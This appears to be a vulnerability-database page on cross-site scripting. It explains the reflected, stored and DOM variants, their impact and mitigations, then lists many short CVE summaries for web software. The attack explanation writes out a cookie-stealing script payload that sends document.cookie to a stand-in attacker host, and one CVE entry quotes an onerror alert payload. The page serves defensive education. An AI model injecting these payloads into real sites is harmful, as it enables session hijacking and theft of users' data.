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Cross-Site Scripting

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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40662)

EPSS 0% CVSS 4.7
MEDIUM PATCH This Month

A Cross-Site Scripting (XSS) vulnerability exists in the Drupal Anti-Spam by CleanTalk module due to improper neutralization of user input during web page generation. All versions from 0.0.0 through 9.6.x are affected, with a patch available in version 9.7.0 or later. Attackers can inject malicious scripts that execute in the context of authenticated users' browsers, potentially leading to session hijacking, credential theft, or defacement of Drupal sites.

XSS Drupal Anti Spam By Cleantalk
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

A Cross-Site Scripting (XSS) vulnerability exists in Drupal Tagify module versions prior to 1.2.49, stemming from improper neutralization of user input during web page generation. An attacker can inject malicious scripts that execute in the context of other users' browsers, potentially leading to session hijacking, credential theft, or malware distribution. This vulnerability affects all Tagify installations from version 0.0.0 through 1.2.48, and patch availability has been confirmed through the Drupal security advisory.

XSS Drupal
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A Cross-Site Scripting (XSS) vulnerability exists in the Drupal UI Icons module due to improper neutralization of user input during web page generation. This vulnerability affects UI Icons versions 0.0.0 through 1.0.0 and versions 1.1.0 through 1.1.0, allowing attackers to inject malicious scripts that execute in the context of victim browsers. No CVSS score, EPSS data, or confirmed KEV status is currently available; however, the XSS classification and Drupal reporting indicate this requires prompt patching to versions 1.0.1 or 1.1.1.

XSS Drupal Ui Icons
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

A Cross-Site Scripting (XSS) vulnerability exists in Drupal Quick Edit due to improper neutralization of user input during web page generation. This vulnerability affects Quick Edit versions 0.0.0 through 1.0.4 and versions 2.0.0 through 2.0.0, allowing attackers to inject malicious scripts that execute in the context of authenticated users' browsers. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has been disclosed by the Drupal security team with patches available for affected versions.

XSS Drupal Quick Edit
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

A Reflected Cross-Site Scripting (XSS) vulnerability exists in Support Board v3.7.7 that allows unauthenticated attackers to inject malicious JavaScript code via the 'search' parameter in the '/supportboard/include/articles.php' endpoint. Successful exploitation enables attackers to steal session cookies, perform unauthorized actions on behalf of victims, or harvest sensitive user data through victim browsers. A vendor patch is available, and the vulnerability has been officially reported by INCIBE, indicating moderate real-world attention.

PHP XSS Support Board +1
NVD VulDB
EPSS 0% CVSS 8.5
HIGH PATCH This Week

A Cross-Site Scripting (XSS) vulnerability exists in Ericsson Indoor Connect 8855 versions prior to 2025.Q3, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). An attacker can inject malicious scripts into the web interface, potentially leading to unauthorized disclosure and modification of sensitive information. No CVSS score, EPSS data, or KEV status is currently available, and no public proof-of-concept has been disclosed, though the vulnerability has been formally documented by Ericsson's Product Security Incident Response Team (PSIRT).

XSS Ericsson
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A Cross-Site Scripting (XSS) vulnerability exists in the Analytics probe component of Hitachi Infrastructure Analytics Advisor and Hitachi Ops Center Analyzer. The flaw allows authenticated attackers with low privileges to execute malicious scripts in users' browsers, potentially leading to high confidentiality impact, low integrity impact, and low availability impact due to the changed scope (CVSS 8.2). There is no current indication of active exploitation (not in CISA KEV) or publicly available proof-of-concept code.

XSS Hitachi Infrastructure Analytics Advisor Hitachi Ops Center Analyzer +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Easy Image Gallery plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the Gallery shortcode post meta field that affects all versions up to and including 1.5.3. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript that executes in the browsers of users viewing the affected pages, potentially compromising user sessions, stealing credentials, or performing actions on behalf of legitimate users. The vulnerability stems from insufficient input sanitization and output escaping in the shortcode handler, as documented in the WordPress plugin repository source code.

WordPress XSS Easy Image Gallery +1
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

A logic error in Apple's script message handler implementation allows malicious websites to access script message handlers intended for other origins, resulting in unauthorized cross-origin information disclosure. This vulnerability affects Safari 26.4 and earlier, iOS/iPadOS 18.7.7 and earlier, macOS Tahoe 26.4 and earlier, and visionOS 26.4 and earlier. An attacker can craft a malicious website that exploits improper state management in the message handler routing mechanism to intercept sensitive data intended for legitimate web applications, potentially exposing authentication tokens, user data, or other confidential information passed through script messaging interfaces.

XSS Apple Visionos +1
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

A cross-site scripting (XSS) vulnerability exists in Apple's Safari browser and iOS/iPadOS operating systems due to insufficient input validation in website content handling. An attacker can craft a malicious website that, when visited by a user, executes arbitrary JavaScript in the context of the victim's browser, potentially stealing credentials, session tokens, or performing actions on behalf of the user. Apple has released patches across Safari 26.4, iOS 18.7.7, iPadOS 18.7.7, iOS 26.4, iPadOS 26.4, and macOS Tahoe 26.4 to address this logic flaw, though no CVSS score, EPSS data, or KEV status has been publicly disclosed, suggesting this may be a proactive disclosure rather than an actively exploited vulnerability.

XSS Apple Red Hat +1
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Invoice Ninja v5.13.0 and earlier contain a stored cross-site scripting (XSS) vulnerability in invoice line item descriptions that bypass the application's XSS denylist filter, allowing authenticated attackers to inject malicious JavaScript that executes when invoices are viewed in PDF preview or the client portal. Any authenticated user can create or modify invoices to inject payloads such as `<img src=x onerror=alert(document.cookie)>`, and victims viewing the invoice-including clients with lower privilege levels-will have the payload execute in their browser context, enabling session hijacking, account takeover, and data exfiltration. A patch is available in v5.13.4 via the vendor's GitHub repository.

XSS
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

A stored cross-site scripting (XSS) vulnerability exists in Wallos versions prior to 4.7.0 within the payment method rename endpoint that allows authenticated users to inject arbitrary JavaScript code. When any user visits the Settings, Subscriptions, or Statistics pages, the injected malicious script executes in their browser context. This vulnerability is compounded by the wallos_login authentication cookie lacking the HttpOnly flag, enabling attackers to steal session tokens and achieve full account compromise through session hijacking.

XSS Wallos Ellite
NVD GitHub VulDB
EPSS 0% CVSS 0.5
LOW PATCH Monitor

A stored cross-site scripting (XSS) vulnerability exists in Authelia version 4.39.15 due to improper neutralization of the language cookie value when rendering HTML templates. This vulnerability only affects users who have deliberately disabled or modified the default Content Security Policy with unsafe directives (such as unsafe-inline scripts or arbitrary domain connections); default installations are completely protected. An attacker could potentially inject malicious JavaScript into the Authelia login page if multiple preconditions are met, including a secondary application vulnerability on the same domain, CSP misconfiguration, and the ability to manipulate cookies.

XSS
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM PATCH This Month

Vikunja Desktop (Electron wrapper) versions 0.21.0 through 2.1.x contain a critical remote code execution vulnerability caused by enabled Node.js integration combined with missing navigation controls. An attacker who is a legitimate user on a shared Vikunja instance can inject a malicious hyperlink into user-generated content (task descriptions, comments, project descriptions) that, when clicked by a victim using Vikunja Desktop, causes arbitrary code execution with the victim's OS user privileges. A proof-of-concept demonstrating command execution via a simple HTML link has been documented, and the vulnerability affects all Desktop users on affected versions.

XSS RCE Information Disclosure +4
NVD GitHub VulDB
EPSS 0% CVSS 6.5
MEDIUM PATCH This Month

The Vikunja Desktop Electron wrapper enables Node.js integration in the renderer process without proper context isolation or sandboxing, allowing any cross-site scripting vulnerability in the web frontend to escalate directly to remote code execution on the victim's machine. Vikunja versions 0.21.0 through 2.1.x are affected, as confirmed by CPE cpe:2.3:a:go-vikunja:vikunja. An attacker exploiting an XSS flaw gains full access to Node.js APIs and the underlying operating system, making this a critical privilege escalation from web-based XSS to system-level RCE.

XSS RCE Node.js +3
NVD GitHub VulDB
EPSS 0% CVSS 8.7
HIGH POC This Week

PhreeBooks ERP 5.2.3 contains an arbitrary file upload vulnerability in the Image Manager component that allows authenticated attackers to upload malicious files by submitting requests to the image. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS RCE +3
NVD Exploit-DB VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

This is a Stored or Reflected Cross-Site Scripting (XSS) vulnerability (CWE-79) in Android-ImageMagick7 versions before 7.1.2-11 that allows attackers to inject malicious scripts through crafted image inputs or related user-controlled data. Attackers with network access and no authentication required can exploit this vulnerability to execute arbitrary JavaScript in the context of affected applications, leading to session hijacking, credential theft, or malware distribution. The vulnerability has a CVSS score of 6.1 (Medium) with cross-site scope, and a patch is available from the vendor, though no confirmed active exploitation in KEV or public proof-of-concept code has been widely documented.

XSS Google Android +2
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A stored cross-site scripting (XSS) vulnerability exists in projectworlds Lawyer Management System version 1.0 within the /lawyer_booking.php file, where the Description parameter fails to sanitize user input before rendering. An authenticated attacker can inject malicious JavaScript that executes in the context of other users' browsers, potentially leading to session hijacking, credential theft, or unauthorized actions. A proof-of-concept exploit has been publicly disclosed on GitHub, and the vulnerability carries a CVSS score of 3.5 with evidence of public exploitation.

PHP XSS Lawyer Management System +1
NVD VulDB GitHub
EPSS 0% CVSS 1.9
LOW POC Monitor

A cross-site scripting (XSS) vulnerability exists in bolo-blog version 2.6.4 in the Article Title Handler component at /console/article/, where the articleTitle parameter is not properly sanitized before being rendered. An authenticated attacker with high privileges can inject malicious JavaScript through the articleTitle argument, resulting in stored or reflected XSS that compromises the integrity of the application. A proof-of-concept exploit has been publicly released on GitHub, and the vendor has not yet responded to early disclosure notifications.

XSS N A Bolo Blog
NVD VulDB GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

JiZhiCMS v2.5.6 and earlier contains a stored cross-site scripting (XSS) vulnerability in the user release function that allows authenticated attackers to inject malicious scripts through improper HTML sanitization. The vulnerability exists because the application filters <script> tags but fails to recursively remove dangerous event handlers (such as onerror) from other HTML elements like <img> tags, enabling persistent XSS attacks. A proof-of-concept has been published on GitHub, and while no CVSS score or EPSS data is currently available, the low barrier to exploitation (authenticated access via POST parameter) and persistent nature of the attack present meaningful risk to affected installations.

PHP XSS N A
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

iCMS v8.0.0 contains a Stored or Reflected Cross-Site Scripting (XSS) vulnerability in the User Management component's index.html file, where the regip and loginip parameters fail to properly sanitize user input before rendering in the HTML response. Remote attackers can exploit this vulnerability without authentication to execute arbitrary JavaScript in the context of victim browsers, potentially leading to session hijacking, credential theft, or malware distribution. A proof-of-concept has been publicly disclosed by the researcher, increasing real-world exploitation risk.

XSS N A
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM POC PATCH This Month

Census CSWeb 8.0.1 contains a stored cross-site scripting (XSS) vulnerability in user-supplied fields that allows authenticated attackers to inject and persist malicious JavaScript code, which executes when victims access affected pages in their browsers. The vulnerability affects CSWeb versions prior to 8.1.0 alpha, and a public proof-of-concept exploit is available on GitHub, increasing real-world exploitation risk. While the CVSS score of 4.6 reflects moderate severity, the combination of authenticated access requirement, user interaction dependency, and published exploit code suggests this poses a meaningful but contained threat to Census CSWeb deployments.

XSS Csweb Census
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

SafeBuffer's string formatting operator (%) in Ruby fails to preserve HTML safety flags when processing untrusted input, allowing attackers to inject malicious scripts that bypass ERB auto-escaping protections. An attacker can exploit this by providing crafted arguments to the % operator on a mutated SafeBuffer, causing the resulting string to be incorrectly marked as safe and potentially leading to cross-site scripting (XSS) attacks. A patch is available for affected applications.

XSS Red Hat Suse
NVD GitHub VulDB
EPSS 0% CVSS 2.3
LOW PATCH Monitor

A cross-site scripting (XSS) vulnerability exists in Ruby on Rails Action View tag helpers when blank strings are used as HTML attribute names, allowing attribute escaping to be bypassed and producing malformed HTML. Applications that permit users to specify custom HTML attributes are vulnerable, potentially enabling attackers to inject arbitrary JavaScript that executes in users' browsers. Patches are available from the Rails vendor across multiple affected versions (7.2.3.1, 8.0.4.1, and 8.1.2.1), and remediation should be prioritized for user-facing Rails applications accepting custom attribute inputs.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 1.3
LOW PATCH Monitor

A Cross-Site Scripting (XSS) vulnerability exists in Ruby on Rails' debug exceptions page due to improper HTML escaping of exception messages. This affects Rails applications running in development mode with detailed exception pages enabled (config.consider_all_requests_local = true, which is the default), allowing an attacker to inject arbitrary HTML and JavaScript that executes in the context of the debug page. While this primarily impacts development environments, applications with development configurations exposed to untrusted network access or those reusing development settings in production could face real exploitation risk.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A stored or reflected cross-site scripting (XSS) vulnerability exists in projectworlds Lawyer Management System version 1.0, specifically in the /lawyers.php file where the first_Name parameter is inadequately sanitized. An authenticated attacker can inject malicious JavaScript that executes in the context of other users' browsers, potentially stealing session tokens or performing unauthorized actions. A public proof-of-concept exploit is available, and exploitation requires only low complexity with user interaction (UI:R), though the attack vector is network-accessible and does not require high privileges.

PHP XSS Lawyer Management System +1
NVD VulDB GitHub
EPSS 0% CVSS 5.1
MEDIUM POC PATCH This Month

MailEnable versions prior to 10.55 contain a reflected cross-site scripting (XSS) vulnerability in the webmail interface that allows remote attackers to execute arbitrary JavaScript in a victim's browser without requiring authentication or special privileges. The vulnerability exists in the FreeBusy.aspx form where the StartDate parameter is not properly sanitized before being embedded into dynamically generated JavaScript, enabling attackers to inject malicious code through a crafted URL. A public proof-of-concept exploit is available, and a patch has been released by the vendor, making this a moderate-to-high priority issue for organizations running affected versions.

XSS Mailenable
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM POC PATCH This Month

MailEnable versions prior to 10.55 contain a reflected cross-site scripting (XS) vulnerability in the webmail interface that allows remote attackers to execute arbitrary JavaScript in a victim's browser without requiring authentication or special privileges. The vulnerability exists in the FreeBusy.aspx form where the Attendees parameter is not properly sanitized before being embedded into dynamically generated JavaScript, enabling attackers to craft malicious URLs that compromise user sessions and steal sensitive data. A public proof-of-concept exploit is available, increasing the practical risk to deployed MailEnable installations.

XSS Mailenable
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM POC PATCH This Month

MailEnable versions prior to 10.55 contain a reflected cross-site scripting (XSS) vulnerability in the webmail interface that allows remote attackers to execute arbitrary JavaScript in a victim's browser by crafting a malicious URL targeting the ManageShares.aspx form. The SelectedIndex parameter is not properly sanitized before being embedded into dynamically generated JavaScript, enabling attackers to inject and execute malicious code. A publicly available proof-of-concept exploit exists, and a patch has been released by the vendor.

XSS Mailenable
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

WWBN AVideo versions up to and including 26.0 contain a stored cross-site scripting (XSS) vulnerability in the user profile "about" field caused by improper sanitization order of operations. Any registered user can inject arbitrary JavaScript that executes when other users visit their channel page, allowing attackers to steal session cookies, perform actions on behalf of victims, or redirect users to malicious sites. A patch is available via commit 7cfdc380dae1e56bbb5de581470d9e9957445df0, and the vulnerability has been formally disclosed through GitHub Security Advisory GHSA-ghx5-7jjg-q2j7.

XSS Avideo Wwbn
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

A stored cross-site scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0 affecting the /admin/update_s6.php file, where the sname parameter fails to properly sanitize user input. An authenticated attacker with high privileges can inject malicious JavaScript that executes in the context of other users' browsers, potentially compromising admin accounts or exfiltrating sensitive exam data. A public proof-of-concept is available on GitHub, and while the CVSS score is low at 2.4, the vulnerability requires high privileges and user interaction to exploit, limiting real-world impact.

PHP XSS Exam Form Submission +1
NVD VulDB GitHub
EPSS 0% CVSS 1.9
LOW POC Monitor

A cross-site scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0, specifically in the /admin/update_s3.php file where the 'sname' parameter is not properly sanitized. An authenticated attacker with high privileges can inject malicious scripts through this parameter to perform actions in the context of other users' browsers. A public proof-of-concept is available, making this vulnerability actively exploitable despite its low CVSS score of 2.4.

PHP XSS Exam Form Submission +1
NVD VulDB GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Sina Extension for Elementor plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the Fancy Text Widget and Countdown Widget that allows authenticated attackers with Contributor-level or higher privileges to inject arbitrary JavaScript into pages through insufficiently sanitized DOM attributes. When users visit pages containing the malicious widgets, the injected scripts execute in their browsers, potentially compromising session tokens, stealing sensitive data, or performing unauthorized actions on behalf of the victim. The vulnerability affects all versions up to and including 3.7.0, with a CVSS score of 6.4 indicating medium severity, though the impact is amplified by the stored nature of the XSS and the broad audience of WordPress sites using this popular page builder extension.

WordPress XSS Sina Extension For Elementor +2
NVD VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

A Stored Cross-Site Scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0 affecting the /admin/update_s4.php endpoint, where the 'sname' parameter is not properly sanitized before output. An authenticated attacker with high privileges can inject malicious JavaScript that executes in the context of other users' browsers, potentially leading to session hijacking, credential theft, or administrative action abuse. A public proof-of-concept exploit is available, increasing real-world risk despite the low CVSS score of 2.4.

PHP XSS Exam Form Submission +1
NVD VulDB GitHub
EPSS 0% CVSS 1.9
LOW POC Monitor

A Stored or Reflected Cross-Site Scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0, specifically in the /admin/update_s5.php file where the 'sname' parameter is not properly sanitized. An authenticated attacker with high privileges can inject malicious JavaScript code through this parameter, which will execute in the context of other users' browsers when they interact with the affected page. A public proof-of-concept exploit is available on GitHub, and the vulnerability has a low CVSS score of 2.4 due to high privilege requirements and user interaction dependency, but the public disclosure increases practical exploitation likelihood.

PHP XSS Exam Form Submission +1
NVD VulDB GitHub
EPSS 0% CVSS 1.9
LOW POC Monitor

A stored cross-site scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0, affecting the /admin/update_s2.php endpoint where the 'sname' parameter is not properly sanitized. An authenticated attacker with high privileges can inject malicious JavaScript that executes in the browser of other users who view the affected page, potentially leading to session hijacking, credential theft, or administrative action manipulation. A public proof-of-concept exploit is available on GitHub, and the vulnerability carries a low CVSS score of 2.4 due to requiring high privileges and user interaction, but the published exploit status indicates active reconnaissance and potential targeted exploitation.

PHP XSS Exam Form Submission +1
NVD VulDB GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A Cross-Site Scripting (XSS) vulnerability exists in Znuny::ITSM 6.5.x where the customer.pl endpoint improperly handles the OTRSCustomerInterface parameter, allowing attackers to inject and execute arbitrary JavaScript in the context of victim browsers. This affects Znuny ITSM versions in the 6.5.x release line, and a proof-of-concept exploit has been publicly disclosed on GitHub, indicating active awareness and potential exploitation capability in the threat landscape.

XSS N A
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

A Reflected Cross-Site Scripting (XSS) vulnerability exists in the POST request data zipPath of tiki-admin_system.php in Tiki version 21.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS N A
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

A Cross-Site Scripting (XSS) vulnerability exists in the page parameter of tiki-editpage.php in Tiki version 26.3 and earlier. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS N A
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability in the component /admin/search-vehicle.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS N A
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability in the component /admin/add-brand.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS N A
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the component /admin/edit-vehicle.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS N A
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability in the component /admin/profile.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS N A
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability in the component /admin/profile.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS N A
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A Stored Cross-Site Scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0, affecting the /admin/update_s1.php file where the 'sname' parameter is not properly sanitized. An unauthenticated attacker can remotely inject malicious JavaScript by manipulating this parameter, which will execute in the browsers of administrators or other users who view the affected page. A public proof-of-concept exploit is available on GitHub, and the vulnerability has an EPSS score indicating probable exploitation likelihood.

PHP XSS Exam Form Submission +1
NVD VulDB GitHub
EPSS 0% CVSS 1.9
LOW POC Monitor

A Stored/Reflected Cross-Site Scripting (XSS) vulnerability exists in the Wavlink WL-WN578W2 wireless router (firmware version 221110 and potentially others) within the POST request handler of /cgi-bin/login.cgi. An attacker with high privileges can manipulate the homepage, hostname, or login_page parameters to inject malicious JavaScript that executes in the context of other users' browsers. A proof-of-concept has been publicly disclosed on GitHub, and the vendor has not responded to early disclosure notifications, leaving affected devices unpatched.

XSS Wl Wn578w2 Wavlink
NVD VulDB GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in Yoast SEO plugin for WordPress versions up to 27.1.1, where the `jsonText` block attribute fails to properly sanitize and escape user input, allowing authenticated contributors and above to inject malicious scripts that execute in the browsers of all users accessing the compromised pages. The vulnerability has a CVSS score of 6.4 (Medium severity) and requires only low-level authenticated access with no user interaction needed for payload execution, though it is limited to authenticated attackers and does not affect confidentiality or availability significantly.

WordPress XSS Yoast Seo Advanced Seo With Real Time Guidance And Built In Ai +2
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

SOGo before version 5.12.5 contains a cross-site scripting (XSS) vulnerability affecting the events, tasks, and contacts categories that allows authenticated attackers to inject malicious scripts. An attacker with valid SOGo credentials can craft malicious input in these modules that will execute in the context of other users' browsers, potentially leading to session hijacking, credential theft, or unauthorized actions. No public exploit code or active exploitation has been documented in known exploit databases, but the vulnerability carries a moderate CVSS score of 6.4 reflecting its requirement for prior authentication combined with its ability to affect confidentiality and integrity across security domain boundaries.

XSS Sogo Alinto
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A reflected cross-site scripting (XSS) vulnerability exists in PbootCMS versions up to 3.2.12 in the alert_location function of the MemberController.php file, where the backurl parameter is not properly sanitized before output. An attacker can craft a malicious URL containing JavaScript code that will execute in a victim's browser when they click the link, potentially leading to session hijacking, credential theft, or malware distribution. A public proof-of-concept exploit is available on GitHub, increasing the risk of active exploitation.

PHP XSS Pbootcms +1
NVD VulDB GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Show Posts List plugin for WordPress (versions up to 1.1.0) affecting the 'swiftpost-list' shortcode's 'post_type' attribute due to insufficient input sanitization and output escaping. Authenticated attackers with contributor-level privileges or higher can inject arbitrary JavaScript code into pages, which executes whenever any user views the compromised page. With a CVSS score of 6.4 and network-accessible attack vector requiring only low privileges, this represents a moderate-priority vulnerability for WordPress installations using this plugin, particularly those with multi-user environments.

WordPress XSS Show Posts List Easy Designs Filters And More +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The FuseDesk WordPress plugin contains a Stored Cross-Site Scripting (XSS) vulnerability in the fusedesk_newcase shortcode that fails to properly sanitize and escape the 'emailtext' attribute. Authenticated attackers with Contributor-level access or higher can inject malicious scripts into WordPress pages that execute for all subsequent visitors. The vulnerability affects all versions up to and including 6.8, with a CVSS score of 6.4 indicating moderate severity; no KEV or active exploitation data is currently documented, but the low attack complexity and network accessibility make this a meaningful concern for multi-user WordPress installations.

WordPress XSS Fusedesk +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Ed's Social Share plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the social_share shortcode due to insufficient input sanitization and output escaping of user-supplied attributes. All versions up to and including 2.0 are affected, allowing authenticated attackers with contributor-level access or higher to inject arbitrary JavaScript that executes for all users viewing the compromised page. With a CVSS score of 6.4 and network-accessible attack vector requiring only low privileges, this vulnerability poses a moderate-to-significant risk in multi-author WordPress environments.

WordPress XSS Ed S Social Share +1
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Mandatory Field plugin for WordPress versions up to 1.6.8 contains a Stored Cross-Site Scripting (XSS) vulnerability in its admin settings due to insufficient input sanitization and output escaping. Authenticated administrators can inject arbitrary JavaScript that executes for all users accessing affected pages, but exploitation is limited to multi-site WordPress installations or those with unfiltered_html disabled. With a CVSS score of 4.4 and high attack complexity, this represents a moderate-severity privilege escalation risk for WordPress administrators seeking to inject malicious scripts; no public POC or active exploitation has been indicated in KEV data.

WordPress XSS Mandatory Field +1
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM This Month

The Weaver Show Posts plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the 'add_class' parameter due to insufficient input sanitization and output escaping. Authenticated attackers with Administrator-level access can inject arbitrary web scripts that execute when users access injected pages, with particular impact in multisite installations where Administrators lack the unfiltered_html capability. A proof-of-concept demonstration exists, though the CVSS 4.4 score reflects the high privilege requirement needed for exploitation.

WordPress XSS Weaver Show Posts +1
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Ricerca - advanced search WordPress plugin affecting all versions up to and including 1.1.12, caused by insufficient input sanitization and output escaping in the plugin's settings interface. Only authenticated administrators on multi-site WordPress installations or those with unfiltered_html disabled are able to inject malicious scripts that execute for all users viewing affected pages. The CVSS score of 4.4 reflects the requirement for high-privilege administrative access and specific configuration conditions, though the impact remains meaningful given the scope of affected multi-site deployments.

WordPress XSS Ricerca Advanced Search +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The PQ Addons - Creative Elementor Widgets plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the Section Title widget's html_tag parameter due to insufficient input sanitization and output escaping. All versions up to and including 1.0.0 are affected, allowing authenticated attackers with contributor-level access or above to inject arbitrary JavaScript that executes when users view affected pages. The vulnerability has a CVSS score of 6.4 (Medium) and exploits are possible since the attack requires only low privilege levels and no user interaction beyond page access.

WordPress XSS Pq Addons Creative Elementor Widgets +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

